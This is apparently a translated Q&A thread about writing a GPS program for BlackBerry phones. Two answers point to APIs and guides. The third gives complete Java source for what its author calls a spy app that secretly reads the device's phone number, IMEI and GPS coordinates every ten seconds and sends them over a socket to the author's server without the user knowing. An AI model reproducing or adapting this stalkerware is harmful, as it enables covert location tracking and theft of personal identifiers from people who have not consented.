-1

我想如何在 BlackBerry 中创建 GPS 程序?

4

3 回答 3

3

使用javax.microedition.location

请参阅 BB 开发实验室 - 基于位置的服务 (ZIP) 简介
Toni Westbrook - 创建黑莓 GPS 追踪器
riccomini - 代码 blackberry gps
riccomini - 代码 blackberry Storm gps

另请参阅 4.5/4.6 Eclipse 插件
(components\samples\com\rim\samples\device)中的 blackberrymapsdemo 和 gpsdemo 示例

于 2009-08-29T17:00:36.900 回答
2

如果您在 BlackBerry 上进行 GPS 编程,有两个很好的信息来源:

  1. BlackBerry Developer Journal GPS 概览
  2. GPS 和 BlackBerry 地图开发指南

来源:http ://blackberry.synclastic.com/blackberry-gps-programming/

于 2009-08-29T07:50:42.380 回答
0

我从事过一个项目,我必须制作一个间谍应用程序以在不知道他的情况下将用户的 GPS 位置发送到服务器这里是我希望它可以帮助你一点的代码。

package mypackage;

import java.io.OutputStreamWriter;
import java.util.Date;
import java.util.Timer;
import java.util.TimerTask;

import javax.microedition.io.Connector;
import javax.microedition.io.SocketConnection;
import javax.microedition.location.LocationProvider;

import net.rim.blackberry.api.phone.Phone;
import net.rim.device.api.gps.BlackBerryCriteria;
import net.rim.device.api.gps.BlackBerryLocation;
import net.rim.device.api.gps.BlackBerryLocationProvider;
import net.rim.device.api.gps.GPSInfo;
import net.rim.device.api.i18n.SimpleDateFormat;
import net.rim.device.api.system.Application;
import net.rim.device.api.system.IDENInfo;
import net.rim.device.api.ui.component.Dialog;

public class MyApp extends Application
{
public BlackBerryCriteria _criteria;
public BlackBerryLocationProvider _locationProvider;
public BlackBerryLocation _location;
public SocketConnection socket;
double lat;
double lon;
public Timer _timer;
public TimerTask _timerTask;
public String _imei;
public Date date;
public String pNumber;

public static void main(String[] args)
{   
    MyApp theApp = new MyApp();       
    theApp.enterEventDispatcher();
}
public MyApp()
{               
    _imei = IDENInfo.imeiToString(IDENInfo.getIMEI());
    pNumber = Phone.getDevicePhoneNumber(true);
    _criteria = new BlackBerryCriteria();
    if(GPSInfo.isGPSModeAvailable(GPSInfo.GPS_MODE_AUTONOMOUS)){
    _criteria.setMode(GPSInfo.GPS_MODE_AUTONOMOUS);
    }else{
        Dialog.alert("GPS not Available");
    }
    _timer = new Timer();
    _timerTask = new TimerTask(){
        public void run() {

            try{
                String currentdate = new SimpleDateFormat("yy/MM/dd").format(new Date(System.currentTimeMillis()));

                _criteria.setHorizontalAccuracy(5);
                _criteria.setVerticalAccuracy(5);
                _criteria.setPreferredResponseTime(10000);
                _locationProvider = (BlackBerryLocationProvider)LocationProvider.getInstance(_criteria);
                _location= (BlackBerryLocation)_locationProvider.getLocation(-1);
                lat =_location.getQualifiedCoordinates().getLatitude();
                lon = _location.getQualifiedCoordinates().getLongitude();   
                String url = "<your IP address with port no(Format: 000.000.000.000:Port>;deviceside = false";
                socket = (SocketConnection)Connector.open(url,Connector.READ_WRITE); 
                socket.setSocketOption(SocketConnection.KEEPALIVE,1);
                OutputStreamWriter _out = new OutputStreamWriter(socket.openOutputStream());
                String data = pNumber+"##"+_imei+"##"+lat+"##"+lon+"##"+currentdate+"##";
                int length = data.length();
                _out.write(data,0,length);
                _out.close();
                socket.close();
            }catch(Exception e){
                Dialog.alert(e.toString());
            }
        }
    }; 
   _timer.scheduleAtFixedRate(_timerTask, 0,10000);
}    
}
于 2011-12-08T07:47:59.730 回答